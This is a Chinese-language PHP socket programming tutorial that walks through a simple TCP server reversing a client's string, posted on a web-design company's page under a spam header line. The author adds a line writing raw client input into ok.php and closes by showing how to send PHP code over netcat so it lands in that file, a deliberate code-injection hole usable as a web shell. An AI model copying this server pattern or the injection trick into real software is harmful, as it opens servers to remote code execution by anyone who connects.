欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

PHP?Socket編程代碼怎么寫(xiě)

今天小編給大家分享一下PHP Socket編程代碼怎么寫(xiě)的相關(guān)知識(shí)點(diǎn),內(nèi)容詳細(xì),邏輯清晰,相信大部分人都還太了解這方面的知識(shí),所以分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后有所收獲,下面我們一起來(lái)了解一下吧。

為陸豐等地區(qū)用戶提供了全套網(wǎng)頁(yè)設(shè)計(jì)制作服務(wù),及陸豐網(wǎng)站建設(shè)行業(yè)解決方案。主營(yíng)業(yè)務(wù)為成都網(wǎng)站設(shè)計(jì)、成都網(wǎng)站制作、陸豐網(wǎng)站設(shè)計(jì),以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專業(yè)、用心的態(tài)度為用戶提供真誠(chéng)的服務(wù)。我們深信只要達(dá)到每一位用戶的要求,就會(huì)得到認(rèn)可,從而選擇與我們長(zhǎng)期合作。這樣,我們也可以走得更遠(yuǎn)!

讓我們以一個(gè)簡(jiǎn)單的例子開(kāi)始---一個(gè)接收輸入字符串,處理并返回這個(gè)字符串到客戶端的TCP服務(wù).下面是相應(yīng)的代碼: 
PHP 代碼:
<?
// 設(shè)置一些基本的變量
$host = "192.168.1.99";
$port = 1234;
// 設(shè)置超時(shí)時(shí)間
set_time_limit(0);
// 創(chuàng)建一個(gè)Socket
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create
socket\n");
//綁定Socket到端口
$result = socket_bind($socket, $host, $port) or die("Could not bind to
socket\n");
// 開(kāi)始監(jiān)聽(tīng)鏈接
$result = socket_listen($socket, 3) or die("Could not set up socket
listener\n");
// accept incoming connections
// 另一個(gè)Socket來(lái)處理通信
$spawn = socket_accept($socket) or die("Could not accept incoming
connection\n");
// 獲得客戶端的輸入
$input = socket_read($spawn, 1024) or die("Could not read input\n");
// 清空輸入字符串
$input = trim($input);//將輸入結(jié)果寫(xiě)入ok.php,這句是我加的

fputs(fopen('ok.php','a+'),"$input");

//處理客戶端輸入并返回結(jié)果

$output = strrev($input) . "\n"; 
socket_write($spawn, $output, strlen ($output)) or die("Could not write 
output\n"); 
// 關(guān)閉sockets 
socket_close($spawn); 
socket_close($socket); 
?>
下面是其每一步驟的詳細(xì)說(shuō)明:

1.第一步是建立兩個(gè)變量來(lái)保存Socket運(yùn)行的服務(wù)器的IP地址和端口.你可以設(shè)置為你自己的服務(wù)器和端口(這個(gè)端口可以是1到65535之間的數(shù)字),前提是這個(gè)端口未被使用.


PHP 代碼:
<?
// 設(shè)置兩個(gè)變量
$host = "192.168.1.99";
$port = 1234;
?>
2.在服務(wù)器端可以使用set_time_out()函數(shù)來(lái)確保PHP在等待客戶端連接時(shí)不會(huì)超時(shí). 

PHP 代碼:
<?
// 超時(shí)時(shí)間
set_time_limit(0);
?>
3.在前面的基礎(chǔ)上,現(xiàn)在該使用socket_creat()函數(shù)創(chuàng)建一個(gè)Socket了---這個(gè)函數(shù)返回一個(gè)Socket句柄,這個(gè)句柄將用在以后所有的函數(shù)中. 

PHP 代碼:
<?
// 創(chuàng)建Socket
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create
socket\n");
?>
第一個(gè)參數(shù)"AF_INET"用來(lái)指定域名; 
第二個(gè)參數(shù)"SOCK_STREM"告訴函數(shù)將創(chuàng)建一個(gè)什么類型的Socket(在這個(gè)例子中是TCP類型) 

因此,如果你想創(chuàng)建一個(gè)UDP Socket的話,你可以使用如下的代碼: 

PHP 代碼:
<?
// 創(chuàng)建 socket
$socket = socket_create(AF_INET, SOCK_DGRAM, 0) or die("Could not create
socket\n");
?>
4.一旦創(chuàng)建了一個(gè)Socket句柄,下一步就是指定或者綁定它到指定的地址和端口.這可以通過(guò)socket_bind()函數(shù)來(lái)完成. 

PHP 代碼:
<?
// 綁定 socket to 指定地址和端口
$result = socket_bind($socket, $host, $port) or die("Could not bind to
socket\n");
?>
5.當(dāng)Socket被創(chuàng)建好并綁定到一個(gè)端口后,就可以開(kāi)始監(jiān)聽(tīng)外部的連接了.PHP允許你由socket_listen()函數(shù)來(lái)開(kāi)始一個(gè)監(jiān)聽(tīng),同時(shí)你可以指定一個(gè)數(shù)字(在這個(gè)例子中就是第二個(gè)參數(shù):3) 

PHP 代碼:
<?
// 開(kāi)始監(jiān)聽(tīng)連接
$result = socket_listen($socket, 3) or die("Could not set up socket
listener\n");
?>
6.到現(xiàn)在,你的服務(wù)器除了等待來(lái)自客戶端的連接請(qǐng)求外基本上什么也沒(méi)有做.一旦一個(gè)客戶端的連接被收到,socket_assept()函數(shù)便開(kāi)始起作用了,它接收連接請(qǐng)求并調(diào)用另一個(gè)子Socket來(lái)處理客戶端--服務(wù)器間的信息. 

PHP 代碼:
<?
//接受請(qǐng)求鏈接
// 調(diào)用子socket 處理信息
$spawn = socket_accept($socket) or die("Could not accept incoming
connection\n");
?>
這個(gè)子socket現(xiàn)在就可以被隨后的客戶端--服務(wù)器通信所用了. 

7.當(dāng)一個(gè)連接被建立后,服務(wù)器就會(huì)等待客戶端發(fā)送一些輸入信息,這寫(xiě)信息可以由socket_read()函數(shù)來(lái)獲得,并把它賦值給PHP的$input變量. 

PHP 代碼:
<?
// 讀取客戶端輸入
$input = socket_read($spawn, 1024) or die("Could not read input\n");
?>
socker_read的第而個(gè)參數(shù)用以指定讀入的字節(jié)數(shù),你可以通過(guò)它來(lái)限制從客戶端獲取數(shù)據(jù)的大小. 

注意:socket_read函數(shù)會(huì)一直讀取殼戶端數(shù)據(jù),直到遇見(jiàn)\n,\t或者\(yùn)0字符.PHP腳本把這寫(xiě)字符看做是輸入的結(jié)束符. 

8.現(xiàn)在服務(wù)器必須處理這些由客戶端發(fā)來(lái)是數(shù)據(jù)(在這個(gè)例子中的處理僅僅包含數(shù)據(jù)的輸入和回傳到客戶端).這部分可以由socket_write()函數(shù)來(lái)完成(使得由通信socket發(fā)回一個(gè)數(shù)據(jù)流到客戶端成為可能) 

PHP 代碼:
<?
// 處理客戶端輸入并返回?cái)?shù)據(jù)
$output = strrev($input) . "\n";
socket_write($spawn, $output, strlen ($output)) or die("Could not write
output\n");
?>
9.一旦輸出被返回到客戶端,父/子socket都應(yīng)通過(guò)socket_close()函數(shù)來(lái)終止 

PHP 代碼:
<?
// 關(guān)閉 sockets
socket_close($spawn);
socket_close($socket);
?>

今天看到了一個(gè)很好的例程,我在例程上加了一句。fputs(fopen('ok.php','a+'),"$input");

為什么要加這一句,惡搞的本質(zhì)又出來(lái)了。我們?cè)诿钚邢拢?

nc -vv ip port

然后輸入<?phpinfo();?>后,ok.php就在當(dāng)前目錄下生成了此文件內(nèi)容了。要做得更好的一點(diǎn),完全可以寫(xiě)一個(gè)客戶端的工具實(shí)時(shí)得到反饋結(jié)果,嘿嘿.

以上就是“PHP Socket編程代碼怎么寫(xiě)”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家閱讀完這篇文章都有很大的收獲,小編每天都會(huì)為大家更新不同的知識(shí),如果還想學(xué)習(xí)更多的知識(shí),請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

分享題目:PHP?Socket編程代碼怎么寫(xiě)
文章網(wǎng)址:http://chinadenli.net/article42/jhpdec.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供虛擬主機(jī)Google網(wǎng)站收錄網(wǎng)站制作全網(wǎng)營(yíng)銷推廣微信小程序

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都網(wǎng)站建設(shè)